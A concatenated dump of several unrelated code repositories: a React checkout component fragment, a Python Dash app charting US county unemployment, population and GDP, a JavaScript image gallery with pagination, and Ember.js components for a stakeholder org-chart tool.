<RightRow>$14.95</RightRow>
</div>
<div>
<LeftRow>Shipping</LeftRow>
<RightRow>FREE</RightRow>
</div>
<div>
<LeftRow>Tax</LeftRow>
<RightRow>$2.35</RightRow>
</div>
<div>
<LeftRow>Discount</LeftRow>
<Discount>-$5</Discount>
</div>
<div>
<LeftRow>Credit (balance $100)</LeftRow>
<RightRow>$50 <Checkbox type="checkbox" /></RightRow>
</div>
<Hr />
<Total>
<LeftRow>TOTAL</LeftRow>
<RightRow>$25.00</RightRow>
</Total>
<Coupon>Have a <A>coupon code?</A></Coupon>
</div>
</Wrapper>
);
export default LeftBlock;
| 8ba05fc791bc0e8534227b31264ffb56b8e1840f | [
"JavaScript",
"Markdown"
] | 5 | JavaScript | matyunya/scentbirdTest | bd0d8db0a1f39360f64f64e7f3a14c3eb3e6f034 | cb660c4abfd0af9c6c3ad2f4052e00bf074accb7 |
refs/heads/main | <repo_name>jcw833/Geographic_App_Stanford<file_sep>/app.py
# My Python App
## Setup
import dash
import dash_html_components as html
import dash_core_components as dcc
import plotly.graph_objects as go
import pandas as pd
from dash.dependencies import Input, Output
import dash_core_components as dcc
import plotly.express as px
import plotly.graph_objects as go
from numpy.polynomial.polynomial import polyfit
from dash.dependencies import Input, Output, State
import plotly.figure_factory as ff
import numpy as np
import matplotlib.pyplot as plt
import pathlib
import os
# Load data
df = pd.read_csv(
'appData.csv')
df = df[0:50]
# df2 = pd.read_csv(
# 'appdata2.csv')
# Load data
# df_lat_lon = pd.read_csv("CountyData.csv", encoding='cp1252')
# Load data
df_unemp = pd.read_csv('UnemploymentStats.csv')
df_unemp['State FIPS Code'] = df_unemp['State FIPS Code'].apply(lambda x: str(x).zfill(2))
df_unemp['County FIPS Code'] = df_unemp['County FIPS Code'].apply(lambda x: str(x).zfill(3))
df_unemp['FIPS'] = df_unemp['State FIPS Code'] + df_unemp['County FIPS Code']
# Initialize app
app = dash.Dash(
__name__,
meta_tags=[
{"name": "viewport", "content": "width=device-width, initial-scale=1.0"}
],
)
server = app.server
# server = flask.Flask(__name__)
# app = dash.Dash(external_stylesheets=[dbc.themes.BOOTSTRAP], server=server)
colorscale = [
"#f2fffb",
"#bbffeb",
"#98ffe0",
"#79ffd6",
"#6df0c8",
"#69e7c0",
"#59dab2",
"#45d0a5",
"#31c194",
"#2bb489",
"#25a27b",
"#1e906d",
"#188463",
"#157658",
"#11684d",
"#10523e",
]
mapbox_access_token = "<KEY>"
mapbox_style = "mapbox://styles/plotlymapbox/cjvprkf3t1kns1cqjxuxmwixz"
# Creates a list of dictionaries
# map_vals = ['2015 GDP per capita','2016 GDP per capita','2017 GDP per capita','2018 GDP per capita','2019 GDP per capita', '2020 Population', '2018 Population', 'Log 2020 Population', 'Log 2018 Population', 'Number of Universites Per State', 'Number of Universites Per State (No CA)']
# def get_map_options(map_vals):
# map_options = []
# for i in map_vals:
# map_options.append({'label': i, 'value': i})
# return map_options
# x_axis = ['2019 Project Count', '2018 Project Count', '2017 Project Count', 'Outliers Removed (NY, CA, TX, WA) Project Count 2019', '2018-2019 Change in Project Count (%)', '2017-2018 Change in Project Count (%)']
x_axis = ['2019 GDP per capita', '2018 GDP per capita', '2017 GDP per capita', '2016 GDP per capita', '2015 GDP per capita']
def get_xax_options(x_axis):
x_axis_options = []
for i in x_axis:
x_axis_options.append({'label': i, 'value': i})
return x_axis_options
# y_axis = ['Outliers Removed (NY, CA, TX, WA) USA GDP 2019', '2018-2019 Change in GDP (%)', '2017-2018 Change in GDP (%)', 'Number of Universites Per State', 'Number of Universites Per State (No CA)', '2020 Population', '2018 Population', 'Log 2020 Population', 'Log 2018 Population'
y_axis = ['2020 Population', '2018 Population', '2010 Population', 'Log 2020 Population', 'Log 2018 Population', 'Log 2010 Population']
def get_yax_options(y_axis):
y_axis_options = []
for i in y_axis:
y_axis_options.append({'label': i, 'value': i})
return y_axis_options
YEARS = [2015, 2016, 2017, 2018, 2019]
#######################################################################################
# App layout
app.layout = html.Div(
id="root",
children=[
html.Div(
id="header",
children=[
html.H4(children="USA Geographic Analysis Application"),
html.P(
id="description",
children="† Graph Geographic Data Below:",
),
],
),
html.Div(
id="app-container",
children=[
html.Div(
id="left-column",
children=[
html.Div(
id="mapdropdown-container",
children=[
dcc.Dropdown(
id='Mapselect',
options=[
{'label': 'State GDP', 'value': 'GDP'},
{'label': 'County Population', 'value': 'POP'},
{'label': 'County Unemployment', 'value': 'Unemployment'},
],
value=['Unemployment'],
multi=False,
className='MapSelector',
style={'color': '#1E1E1E'}),
dcc.Checklist(
id="checkbox",
options=[
{'label': 'State GDP', 'value': 'GDP'},
{'label': 'County Population', 'value': 'POP'},
{'label': 'County Unemployment', 'value': 'Unemployment'},
],
value=['Unemployment']
)]),
html.Div(
id="slider-container",
children=[
html.P(
id="slider-text",
children="Drag the slider to adjust year:",
),
dcc.Slider(
id="years-slider",
min=min(YEARS),
max=max(YEARS),
value=min(YEARS),
marks={
str(year): {
"label": str(year),
"style": {"color": "#7fafdf"},
}
for year in YEARS
},
),
],
),
html.Div(
id="heatmap-container",
children=[
html.P(
"Data Visualization".format(
min(YEARS)
),
id="heatmap-title",
),
dcc.Graph(
id="county-choropleth",
figure=dict(
layout=dict(
mapbox=dict(
layers=[],
accesstoken=mapbox_access_token,
style=mapbox_style,
center=dict(
lat=38.72490, lon=-95.61446
),
pitch=0,
zoom=3.5,
),
autosize=True,
),
),
),
],
),
],
),
html.Div(
id="graph-container",
children=[
html.P(id="chart-selector", children="Select Plot:"),
html.P('X-Axis for Scatterplot'),
html.Div(className='X-Axis',
children=[
dcc.Dropdown(id='X-Axis Select',
options=get_xax_options(x_axis),
multi=False,
value=[x_axis[0]],
style={'backgroundColor': '#1E1E1E'},
className='ScatterSelector')
],
style={'color': '#1E1E1E'}),
html.P('Y-Axis for Scatterplot'),
dcc.Dropdown(id='Y-Axis Select',
options=get_yax_options(y_axis),
multi=False,
value=[y_axis[0]],
style={'backgroundColor': '#1E1E1E'},
className='ScatterSelector'),
dcc.Graph(
id="Scatterplot",
figure=dict(
data=[dict(x=0, y=0)],
layout=dict(
paper_bgcolor="#1E1E1E",
plot_bgcolor="#1E1E1E",
autofill=True,
margin=dict(t=75, r=50, b=100, l=50),
),
),
),
],
),
],
),
])
###################################
@app.callback(
Output("county-choropleth", "figure"),
[Input("years-slider", "value")],
[Input("checkbox", "value")],
[State("county-choropleth", "figure")],
)
def display_map(year, checkbox, figure):
if checkbox == ['Unemployment']:
print(checkbox)
print(year)
endpts = list(np.linspace(1, 12, len(colorscale) - 1))
fips = df_unemp['FIPS'].tolist()
values = df_unemp['Unemployment Rate '+str(year)+' (%)'].tolist()
fig = ff.create_choropleth(
fips=fips, values=values, scope=['usa'],
binning_endpoints=endpts, colorscale=colorscale,
show_state_data=False,
show_hover=True,
asp = 2.9,
legend_title = '% unemployed '+str(year)
)
fig.layout.paper_bgcolor="#252b33"
fig.layout.plot_bgcolor="#252b33"
return fig
elif checkbox == ['POP']:
print(checkbox)
print(year)
endpts = list(np.linspace(10000, 1000000, len(colorscale) - 1))
fips = df_unemp['FIPS'].tolist()
values = df_unemp['Pop '+str(year)].tolist()
fig = ff.create_choropleth(
fips=fips, values=values, scope=['usa'],
binning_endpoints=endpts, colorscale=colorscale,
show_state_data=False,
show_hover=True,
asp = 2.9,
legend_title = 'County Population '+str(year)
)
fig.layout.paper_bgcolor="#252b33"
fig.layout.plot_bgcolor="#252b33"
return fig
elif checkbox == ['GDP']:
print(checkbox)
print(year)
endpts = list(np.linspace(40000, 100000, len(colorscale) - 1))
fips = df_unemp['FIPS'].tolist()
values = df_unemp['GDP '+str(year)].tolist()
fig = ff.create_choropleth(
fips=fips, values=values, scope=['usa'],
binning_endpoints=endpts, colorscale=colorscale,
show_hover=True,
asp = 2.9,
legend_title = 'GDP '+str(year)
)
fig.layout.paper_bgcolor="#252b33"
fig.layout.plot_bgcolor="#252b33"
return fig
else:
endpts = list(np.linspace(1, 12, len(colorscale) - 1))
fips = df_unemp['FIPS'].tolist()
values = df_unemp['Unemployment Rate '+str(year)+' (%)'].tolist()
fig = ff.create_choropleth(
fips=fips, values=values, scope=['usa'],
binning_endpoints=endpts, colorscale=colorscale,
show_state_data=False,
show_hover=True,
asp = 2.9,
legend_title = '% unemployed '+str(year)
)
fig.layout.paper_bgcolor="#252b33"
fig.layout.plot_bgcolor="#25<PASSWORD>"
return fig
# Callback for Map
@app.callback(Output('Scatterplot', 'figure'),
[Input('X-Axis Select', 'value'),
Input('Y-Axis Select','value')])
def update_scatter(x1,y1):
xval = '2019 GDP per capita'
yval = '2020 Population'
if x1 == '2019 GDP per capita':
xval = '2019 GDP per capita'
elif x1 == '2018 GDP per capita':
xval = '2018 GDP per capita'
elif x1 == '2017 GDP per capita':
xval = '2017 GDP per capita'
elif x1 == '2016 GDP per capita':
xval = '2016 GDP per capita'
elif x1 == '2015 GDP per capita':
xval = '2015 GDP per capita'
if y1 == '2020 Population':
yval = '2020 Population'
elif y1 == '2018 Population':
yval = '2018 Population'
elif y1 == '2010 Population':
yval = '2010 Population'
elif y1 == 'Log 2020 Population':
yval = 'Log 2020 Population'
elif y1 == 'Log 2018 Population':
yavl = 'Log 2018 Population'
elif y1 == 'Log 2010 Population':
yavl = 'Log 2010 Population'
figure = go.Figure(
data=px.scatter(df,
x=xval,
y=yval,
text="GeoName",
title="United States Data Comparison",
template='plotly_dark',
trendline = 'ols'))
figure.layout.paper_bgcolor="#252b33"
figure.layout.plot_bgcolor="#252b33"
return figure
if __name__ == "__main__":
app.run_server(debug=True)
<file_sep>/README.md
# Geographic_App_Stanford
App to visualize geographic and demographic data. I am specifically using it for my research and analysis of 3D printing innovation in the United States.
<file_sep>/requirements.txt
adjustText==0.7.3
apipkg==1.5
appnope==0.1.0
astroid==2.2.5
atomicwrites==1.3.0
attrs==19.1.0
backcall==0.1.0
bioinfokit==0.9.9
bleach==3.1.0
branca==0.4.1
Brotli==1.0.9
certifi==2019.9.11
chardet==3.0.4
click==7.1.2
click-plugins==1.1.1
cligj==0.5.0
cycler==0.10.0
dash==1.16.3
dash-bootstrap-components==0.10.7
dash-core-components==1.12.1
dash-html-components==1.1.1
dash-renderer==1.8.2
dash-table==4.10.1
decorator==4.4.0
defusedxml==0.6.0
descartes==1.1.0
dnspython==1.16.0
entrypoints==0.3
execnet==1.7.1
Fiona==1.8.17
Flask==1.1.2
Flask-Compress==1.7.0
folium==0.11.0
future==0.18.2
geopandas==0.3.0
gunicorn==20.0.4
heroku==0.1.4
idna==2.8
ijson==3.1.post0
importlib-metadata==0.23
ipykernel==5.1.2
ipython==7.8.0
ipython-genutils==0.2.0
ipywidgets==7.5.1
isort==4.3.21
itsdangerous==1.1.0
jedi==0.15.1
Jinja2==2.10.3
joblib==0.17.0
jsonschema==3.0.2
jupyter==1.0.0
jupyter-client==5.3.3
jupyter-console==6.0.0
jupyter-core==4.5.0
kiwisolver==1.1.0
lazy-object-proxy==1.4.2
MarkupSafe==1.1.1
matplotlib==3.1.1
matplotlib-venn==0.11.5
mccabe==0.6.1
mistune==0.8.4
more-itertools==7.2.0
mpmath==1.1.0
munch==2.5.0
nbconvert==5.6.0
nbformat==4.4.0
nose==1.3.7
notebook==6.0.1
numpy==1.17.1
opencv-python==4.1.1.26
packaging==19.2
pandas
pandocfilters==1.4.2
parso==0.5.1
patsy==0.5.1
pep8==1.7.1
pexpect==4.7.0
pickleshare==0.7.5
Pillow==6.1.0
plotly==4.11.0
plotly-geo==1.0.0
pluggy==0.13.0
prometheus-client==0.7.1
prompt-toolkit==2.0.10
ptyprocess==0.6.0
py==1.8.0
Pygments==2.4.2
pylint==2.3.1
pymodm==0.4.1
pymongo==3.9.0
pyparsing==2.4.2
pyproj==2.6.1.post1
pyrsistent==0.15.4
pyshp==1.2.10
pytest==5.1.3
pytest-cache==1.0
pytest-pep8==1.0.6
python-dateutil==2.8.0
python-resize-image==1.1.19
pytz==2019.2
pyzmq==18.1.0
qtconsole==4.5.5
requests==2.22.0
retrying==1.3.3
scikit-learn==0.23.2
scipy==1.3.1
seaborn==0.11.0
Send2Trash==1.5.0
Shapely==1.7.1
six==1.12.0
statsmodels==0.12.0
sympy==1.4
tabulate==0.8.7
terminado==0.8.2
testpath==0.4.2
textwrap3==0.9.2
threadpoolctl==2.1.0
tornado==6.0.3
traitlets==4.3.3
typed-ast==1.4.0
urllib3==1.25.5
virtualenv==16.7.5
wcwidth==0.1.7
webencodings==0.5.1
Werkzeug==1.0.1
widgetsnbextension==3.5.1
wrapt==1.11.2
zipp==0.6.0
| adfafe6251537a670d9e233193075938df08aaa4 | [
"Markdown",
"Python",
"Text"
] | 3 | Python | jcw833/Geographic_App_Stanford | 5eed7c64d8cf90a12bc6ea4c6afb9796bfb58a2f | cf57c4b3a2a5934017234737e85a9ba0fa8b97b5 |
refs/heads/master | <file_sep>images=[
{
src:"1.jpg",
title:"Title 1",
description :"A description of the above image wil be here 1"
},
{
src:"2.jpg",
title:"Title 2",
description :" A description of the above image wil be here 2"
},
{
src:"3.jpg",
title:"Title 3",
description :" A description of the above image wil be here 3"
},
{
src:"4.jpg",
title:"Title 4",
description :" A description of the above image wil be here 4"
},
{
src:"5.jpg",
title:"Title 5",
description :" A description of the above image wil be here 5"
},
{
src:"6.jpg",
title:"Title 6",
description :" A description of the above image wil be here 6"
},
{
src:"7.jpg",
title:"Title 7",
description :" A description of the above image wil be here 7"
},
{
src:"8.jpg",
title:"Title 8",
description :" A description of the above image wil be here 8"
},
{
src:"9.jpg",
title:"Title 9",
description :" A description of the above image wil be here 9"
},
{
src:"10.jpg",
title:"Title 10",
description :" A description of the above image wil be here 10"
},
{
src:"11.jpg",
title:"Title 11",
description :" A description of the above image wil be here 11"
},
{
src:"12.jpg",
title:"Title 12",
description :" A description of the above image wil be here 12"
},
{
src:"13.jpg",
title:"Title 13",
description :" A description of the above image wil be here 13"
}
];<file_sep>
window.onload=function(){
show();
}
currentPage=0;
imgLen=images.length;
noPg=parseInt(imgLen/12);
pgRem=imgLen-noPg*12;
function showList(active){
pages=document.getElementById("pages");
pages.innerHTML="";
i=1;
prev=currentPage;
next=currentPage+2;
if(currentPage!=0){
document.getElementById("pages").innerHTML+="<li class='page-item'><a class='page-link' onclick='showPage("+prev+")'>Previous</a></li>";
}
else{
document.getElementById("pages").innerHTML+="<li class='page-item' style='opacity :30%' ><a class='page-link' onclick=''>Previous</a></li>";
}
for(i=1;i<=noPg;i++){
if(i==active){
clsName="page-item active";
}
else{
clsName="page-item"
}
temp1="<li class='"+clsName+"' id='"+i+"'>";
temp2="<a class='page-link' onclick='showPage("+i+")'>"+i+"</a>";
temp3="</li>";
pages.innerHTML+=temp1+temp2+temp3;
}
if(pgRem!=0){
if(i==active){
clsName="page-item active";
}
else{
clsName="page-item"
}
temp1="<li class='"+clsName+"' id='"+i+"'>";
temp2="<a class='page-link' onclick='showPage("+i+")'>"+i+"</a>";
temp3="</li>";
pages.innerHTML+=temp1+temp2+temp3;
}
if(currentPage!=i-1){
document.getElementById("pages").innerHTML+="<li class='page-item'><a class='page-link' onclick='showPage("+next+")'>Next</a></li>";
}
else{
document.getElementById("pages").innerHTML+="<li class='page-item' style='opacity :30%' ><a class='page-link' onclick=''>Next</a></li>";
}
}
function showPage(no){
currentPage=no-1;
show();
}
var s;
imagesHtml="";
function show(){
active=currentPage+1;
showList(active);
document.getElementById("column0").innerHTML="";
document.getElementById("column1").innerHTML="";
document.getElementById("column2").innerHTML="";
document.getElementById("column3").innerHTML="";
if(s=(currentPage*12+12<=noPg*12)){
j=currentPage*12;
for(k=0;k<3;k++){
for(i=0;i<4;i++){
imgID="img"+j;
imagesHtml="<div class='zoomImg'>"+
"<img src='images/"+images[j].src+"' class='class='card-img-top'' style='width:100%' onmouseover='titleOver("+j+")' onmouseout='titleOut("+j+")' onclick='imV("+j+")' id='"+imgID+"'>"+
"<div class='top-left'><h4 style='color:white' class='card-title' id='imgTitle"+j+"' ></h4></div></div>";
colId="column"+i;
colId="column"+i;
document.getElementById(colId).innerHTML+=imagesHtml;
j++;
}
}
}
else{
j=currentPage*12;
console.log(j);
console.log(images[j].src);
imgPerCol=parseInt(pgRem/4);
rem=pgRem-imgPerCol*4;
for(k=0;k<imgPerCol;k++){
for(i=0;i<4;i++){
imgID="img"+j;
console.log(imgID);
imagesHtml="<div class='zoomImg'>"+
"<img src='images/"+images[j].src+"' class='class='card-img-top'' style='width:100%' onmouseover='titleOver("+j+")' onmouseout='titleOut("+j+")' onclick='imV("+j+")' id='"+imgID+"'>"+
"<div class='top-left'><h4 style='color:white' class='card-title' id='imgTitle"+j+"' ></h4></div></div>";
colId="column"+i;
colId="column"+i;
document.getElementById(colId).innerHTML+=imagesHtml;
j++;
}
}
for(i=0;i<rem;i++){
imgID="img"+j;
console.log(j);
imagesHtml="<div class='zoomImg'>"+
"<img src='images/"+images[j].src+"' class='class='card-img-top'' style='width:100%' onmouseover='titleOver("+j+")' onmouseout='titleOut("+j+")' onclick='imV("+j+")' id='"+imgID+"'>"+
"<div class='top-left'><h4 style='color:white' class='card-title' id='imgTitle"+j+"' ></h4></div></div>";
colId="column"+i;
colId="column"+i;
document.getElementById(colId).innerHTML+=imagesHtml;
j++;
}
}
}
var modal = document.getElementById("myModal");
var modalImg = document.getElementById("img01");
var captionText = document.getElementById("caption");
function imV(id){
imgID="img"+id;
console.log(id);
img=document.getElementById(imgID);
im=images[id];
des=im.description;
title=im.title;
console.log(des);
captionText=document.getElementById('caption');
modal.style.display = "block";
modalImg.src = img.src;
captionText.innerHTML = "<h2>"+title+"</h2><p>"+des+"</p>";
}
function titleOver(id){
idTitle="imgTitle"+id;
document.getElementById(idTitle).innerHTML=images[id].title;
}
function titleOut(id){
idTitle="imgTitle"+id;
document.getElementById(idTitle).innerHTML="";
}
// Get the <span> element that closes the modal
var span = document.getElementsByClassName("close")[0];
// When the user clicks on <span> (x), close the modal
function closeImg() {
modal.style.display = "none";
}
| 8c14b1e5627d7e3f4b27f24738bb1bc4cd2ff069 | [
"JavaScript"
] | 2 | JavaScript | mhdanshadpm/Teronext | 4322b21c5515d6523eb97fd5daf3c2f9d5af4717 | 7af8a526a60aa7fff0d1a66219d360f6a5dc0cd2 |
refs/heads/master | <file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
namespace AISLocalization
{
public class StartupManager : MonoBehaviour
{
private const string StartMenu = "MenuScreen";
// Use this for initialization
private IEnumerator Start()
{
while (!LocalizationManager.Instance.GetIsReady())
{
yield return null;
}
SceneManager.LoadScene(StartMenu);
}
}
} | aaafdfefe05a9d7412ab5148f1688e3ef19769ff | [
"C#"
] | 1 | C# | tejasmishra/aislocalization | 95ad050fdc25e65b55825680bda67653c35486e8 | ff99d87354932b38377c28f33b0a44a6224eae27 |
refs/heads/main | <file_sep>const jpgImages = ["01", "02", "03", "04", "05", "06", "07", "08", "09", "10", "11", "12",];
for (item in jpgImages) {
let newImg = document.createElement('img');
newImg.setAttribute("src", `photos/thumbnail/${item}.jpg`);
newImg.setAttribute("height", "400px");
newImg.setAttribute("width", "400px");
document.getElementsByClassName("img_wrap").appendChild("newImg");
}<file_sep>function img_search() {
let input = document.getElementById('searchbar').value
input = input.toLowerCase();
let imgClass = document.getElementsByClassName('scenary');
for ( i = 0; i < imgClass.length; i++) {
if( !imgClass[i].getAttribute('data-caption').toLowerCase().includes(input)) {
imgClass[i].style.display='none';
imgClass[i].style.listStyleType='none';
}
else {
imgClass[i].style.display='list-item'
imgClass[i].style.listStyleType='none';
}
}
} | 78112860162abaad9d6d9578faca5801bbf1c2fb | [
"JavaScript"
] | 2 | JavaScript | bsupinski/photo_gallery_v5 | 413ad5e2976b5366de0d990fed2ad5fc0a90442e | 5cc51c3c2df22fcb95187b1caac6f5e2a785b05a |
refs/heads/master | <repo_name>stojad/musketeer-frontend<file_sep>/app/components/modal-pulse-design.js
import Ember from 'ember';
export default Ember.Component.extend({
store: Ember.inject.service(),
displayConfirmation: false,
displaySaving: false,
debouncedUpdate(property) {
this.set('displaySaving', true);
this.set('displayConfirmation', false);
//console.log('DEBUG: Updating property DEBOUNCED ' + property)
let record = this.get('store').peekRecord('readiness-pulse', this.get('pulse.id'));
record.set(property, this.get('pulse.' + property));
record.save().then(function() {
this.set('displaySaving', false);
this.set('displayConfirmation', true);
}.bind(this));
},
actions: {
update(property) {
Ember.run.debounce(this, 'debouncedUpdate', property, 1000);
},
setAudience(value) {
this.set('pulse.audience', value);
this.update('audience');
},
resetModalState() {
this.set('displaySaving', false);
this.set('displayConfirmation', false);
}
}
});
<file_sep>/app/components/orgchart-wrapper.js
import Ember from 'ember';
export default Ember.Component.extend({
stakeholders: Ember.computed(
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
'<EMAIL>',
function() {
let root = this.get('model').findBy('root', true);
// No root, so just pass an empty tree
if(root === undefined) {
this.set('showMessageNoStakeholders', true);
return {};
}
this.set('showMessageNoStakeholders', false);
return this.constructGraph(root, [root.get('id')]);
}),
stakeholdersObserver: Ember.observer('stakeholders', function() {
this.renderOrgChart();
}),
constructGraph(node, nodeList) {
let properties = {
'id': node.get('id'),
'name': node.get('fullName'),
'title': node.get('title'),
'team': node.get('team.name'),
'champion': node.get('champion'),
'avatar': node.get('avatar'),
'email': node.get('email'),
'mobile': node.get('mobile')
};
if(node.get('subordinates.length') > 0) {
let children = [];
node.get('subordinates').forEach((child) => {
let id = child.get('id');
// Check that the child hasn't already been included in the tree to avoid circular references
if(!nodeList.includes(id)) {
nodeList.push(id);
children.push(this.constructGraph(child, nodeList));
}
});
properties.children = children;
}
return properties;
},
didInsertElement() {
this.renderOrgChart();
},
// Populate the element with the org chart data
renderOrgChart() {
Ember.$('#chart-container').empty();
let _this = this;
Ember.$('#chart-container').orgchart({
'data' : this.get('stakeholders'),
'depth': 999,
'pan': false,
'zoom': false,
'nodeContent': 'title',
'createNode': function($node, data) {
var secondMenuIcon = $('<img>', {
'class': 'info-box-button',
'src': '/musketeer/assets/icons/info-circle.svg',
click: function() {
//alert('You have clicked node ' + data.id);
//_this.set('selectedId', data.id);
_this.get('onInfoButtonClicked')(data.id);
}
});
var createSubordinateIcon = $('<img>', {
'class': 'add-subordinate-button',
'src': '/musketeer/assets/icons/plus-circle.svg',
click: function() {
_this.get('onClickAddSubordinate')(data.id);
}
});
var editStakeholderIcon = $('<img>', {
'class': 'edit-stakeholder-button',
'src': '/musketeer/assets/icons/pencil.svg',
click: function() {
_this.get('onClickEditStakeholder')(data.id);
}
});
// Determine whether we add a change chamption tag
let championIndicator = '';
if(data.champion) {
championIndicator = '<img src="/musketeer/assets/icons/gold-star-black-outline.svg" class="change-champion-indicator"></span>';
}
let content = `
<div class="musketeer-orgchart-image-container">
<img src="${data.avatar}" alt="" class="img-circle musketeer-small-orgchart" />
${championIndicator}
</div>
<div class="musketeer-orgchart-name-container">
<strong>${data.name}</strong>
</div>
<div class="musketeer-orgchart-text-container">
${data.title}
</div>`;
let footer = `
<div class="footer">
${data.team}
</div>
`
$node.find('.content').html(content).animate({'height': '70px'}, 300);
$node.find('.title').html('');
$node.append(footer);
$node.append(secondMenuIcon);
$node.append(createSubordinateIcon);
$node.append(editStakeholderIcon);
}
});
// Disable the ability to hide nodes
var $chart = Ember.$('.orgchart');
$chart.addClass('noncollapsable')
}
});
<file_sep>/app/components/modal-add-stakeholder.js
import Ember from 'ember';
export default Ember.Component.extend({
showCloseWarning: false,
showDismissPrompt: false,
showValidationErrorPrompt: false,
store: Ember.inject.service(),
currentUser: Ember.inject.service('current-user'),
//Pre-sort the list options
managerOptionsSorted: Ember.computed('<EMAIL>', function() {
return this.get('managerOptions').sortBy('firstName');
}),
teamOptionsSorted: Ember.computed('<EMAIL>', function() {
return this.get('teamOptions').sortBy('name');
}),
departmentOptionsSorted: Ember.computed('<EMAIL>', function() {
return this.get('departmentOptions').sortBy('name');
}),
// Fixed-value selections
genderOptions: ['Male', 'Female'],
// Form field validation rules
formFields : {
'firstName': {
minLength: 1,
maxLength: 64
},
'lastName': {
minLength: 1,
maxLength: 64
},
'title': {
minLength: 1,
maxLength: 64
},
'company': {
minLength: 1,
maxLength: 64
},
'gender': {
validList: 'genderOptions'
},
'team': {
validList: 'teamOptionsSorted',
comparisonField: 'id'
},
'department': {
validList: 'departmentOptions',
comparisonField: 'id'
},
'email': {
minLength: 1,
maxLength: 256
},
'phone': {
minLength: 1,
maxLength: 12
},
'mobile': {
minLength: 1,
fieldMaxLength: 12
},
'manager': {
validList: 'managerOptions',
comparisonField: 'id',
optional: true
},
'startDate': {
// Need to define a date type
},
'champion': {
// Need to define a checkbox type
}
},
// Error states
validationErrorStates : {},
// Perform validations
validateFields: function() {
var fieldsValid = true;
// Clear the error states
this.set('validationErrorStates', {});
for(var key in this.get('formFields')) {
if(this.get('formFields').hasOwnProperty(key)) {
var fieldMinLength = this.get('formFields.' + key + '.minLength');
var fieldMaxLength = this.get('formFields.' + key + '.maxLength');
var fieldValidList = this.get('formFields.' + key + '.validList');
var comparisonField = this.get('formFields.' + key + '.comparisonField');
var optional = this.get('formFields.' + key + '.optional');
// If it's a string, trim it.
var fieldValue = this.get(key);
if(fieldValue instanceof String){
this.set(this.get(key), this.get(key).trim().replace(/<(?:.|\n)*?>/gm, ''));
fieldValue = this.get(key);
}
// Ignore empty or undefined fields if they are optional
if(optional && (!fieldValue || !fieldValue.value)) {
continue;
}
// Check the length lower bound
if(fieldMinLength !== undefined && fieldValue.length < fieldMinLength) {
if(fieldMinLength == 1) {
Ember.set(this.get('validationErrorStates'), key, 'Field cannot be blank.');
} else {
Ember.set(this.get('validationErrorStates'), key, 'Field must contain at least ' + fieldMinLength + ' characters');
}
fieldsValid = false;
}
// Check the length upper bound
if(fieldMaxLength !== undefined && fieldValue.length > fieldMaxLength) {
Ember.set(this.get('validationErrorStates'), key, 'Field length cannot exceed ' + fieldMaxLength + ' characters.');
fieldsValid = false;
}
// If the values are restricted to a list, ensure the value is in that list
if(fieldValidList !== undefined && !this.findInList(fieldValidList, fieldValue, comparisonField)) {
Ember.set(this.get('validationErrorStates'), key, 'A valid option must be selected.');
fieldsValid = false;
}
}
}
return fieldsValid;
},
// Returns true if any object in fieldValidList has the same value for the property comparisonField as it does in objectToFind
findInList(objectList, objectToFind, comparisonField) {
if(objectToFind === undefined || objectToFind === '') {
return false;
}
// If not looking on a particular field, assume we are comparing the objects directly
if(comparisonField === undefined) {
return (this.get(objectList).indexOf(objectToFind) != -1);
}
let objectFound = false;
this.get(objectList).forEach(function(item) {
if(item.get(comparisonField) === objectToFind.get(comparisonField)) {
objectFound = true;
}
}.bind(this));
return objectFound;
},
clearForm: function() {
for(var key in this.get('formFields')) {
if(this.get('formFields').hasOwnProperty(key)) {
this.set(key, '');
}
}
},
getClass: function (obj) {
if (typeof obj === 'undefined')
return 'undefined';
if (obj === null)
return 'null';
return Object.prototype.toString.call(obj)
.match(/^\[object\s(.*)\]$/)[1];
},
init() {
this._super(...arguments);
// In this case, it actually initialises all of the parameters for form values
this.clearForm();
},
actions: {
submit() {
// Get access to the data store through service injection
var store = this.get('store');
// Bring up the error prompt if there's an error
if(!this.validateFields()) {
this.set('showValidationErrorPrompt', true);
} else {
// After validation passes, attempt to push to the record to the data
let project = this.get('store').peekRecord('project', this.get('projectId'));
if(this.get('id') === undefined) {
// Create a stakeholder
// Determine whether this stakeholder should be the root node.
let thisIsRoot = false;
let rootNode = this.get('model').findBy('root', true);
if(rootNode === undefined) {
thisIsRoot = true;
}
console.log('DEBUG: Orgchart node being created as root: ' + thisIsRoot);
var stakeholder = store.createRecord('stakeholder', {
project: project,
firstName: this.get('firstName'),
lastName: this.get('lastName'),
title: this.get('title'),
company: this.get('company'),
gender: this.get('gender'),
team: this.get('team'),
department: this.get('department'),
email: this.get('email'),
phone: this.get('phone'),
mobile: this.get('mobile'),
champion: this.get('champion'),
startDate: this.get('startDate'),
manager: this.get('manager'),
avatar: '/musketeer/assets/images/stakeholders/default.png',
root: thisIsRoot
});
} else {
// Update the stakeholder details
var stakeholder = this.get('stakeholder');
var manager = this.get('manager');
// Fetch the manager record if one has been specified
if(manager) {
var managerRecord = this.get('store').peekRecord('stakeholder', manager.get('id'));
}
// Store whether this stakeholder was the root of the tree
var stakeholderIsRoot = stakeholder.get('root');
// If this stakeholder was root now has a manager, that stakeholder is now the root.
// TODO: This doesn't work in general. Breaking up these relationships has greater implications.
if(stakeholderIsRoot && managerRecord) {
this.set('root', false);
managerRecord.set('root', true);
managerRecord.set('manager', null);
managerRecord.save();
// Gotta update that root property additionally
stakeholder.set('root', false);
}
// If a stakeholder was someone's manager and becomes their subordinate
if(this.findInList('stakeholder.subordinates', this.get('manager'), 'id')) {
managerRecord.set('manager', stakeholder.get('manager'));
}
// Update the remaining fields for the changed stakeholder
for(var key in this.get('formFields')) {
if(this.get('formFields').hasOwnProperty(key)) {
stakeholder.set(key, this.get(key));
if(managerRecord) {
managerRecord.save();
}
}
}
}
// Commit the changes
stakeholder.save().then(function() {
//this.set('showModal', false)
// this.get('onCreateRecord')();
}.bind(this))
this.set('showDismissPrompt', true);
}
},
toggleWarning() {
this.toggleProperty('showCloseWarning');
},
setModalState() {
if(this.get('manager') != undefined) {
this.set('team', this.get('manager.team'));
this.set('department', this.get('manager.department'));
this.set('company', this.get('manager.company'));
}
if(this.get('stakeholder') != undefined) {
for(var key in this.get('formFields')) {
if(this.get('formFields').hasOwnProperty(key) && this.get('stakeholder.' + key) != undefined) {
this.set(key, this.get('stakeholder.' + key))
}
}
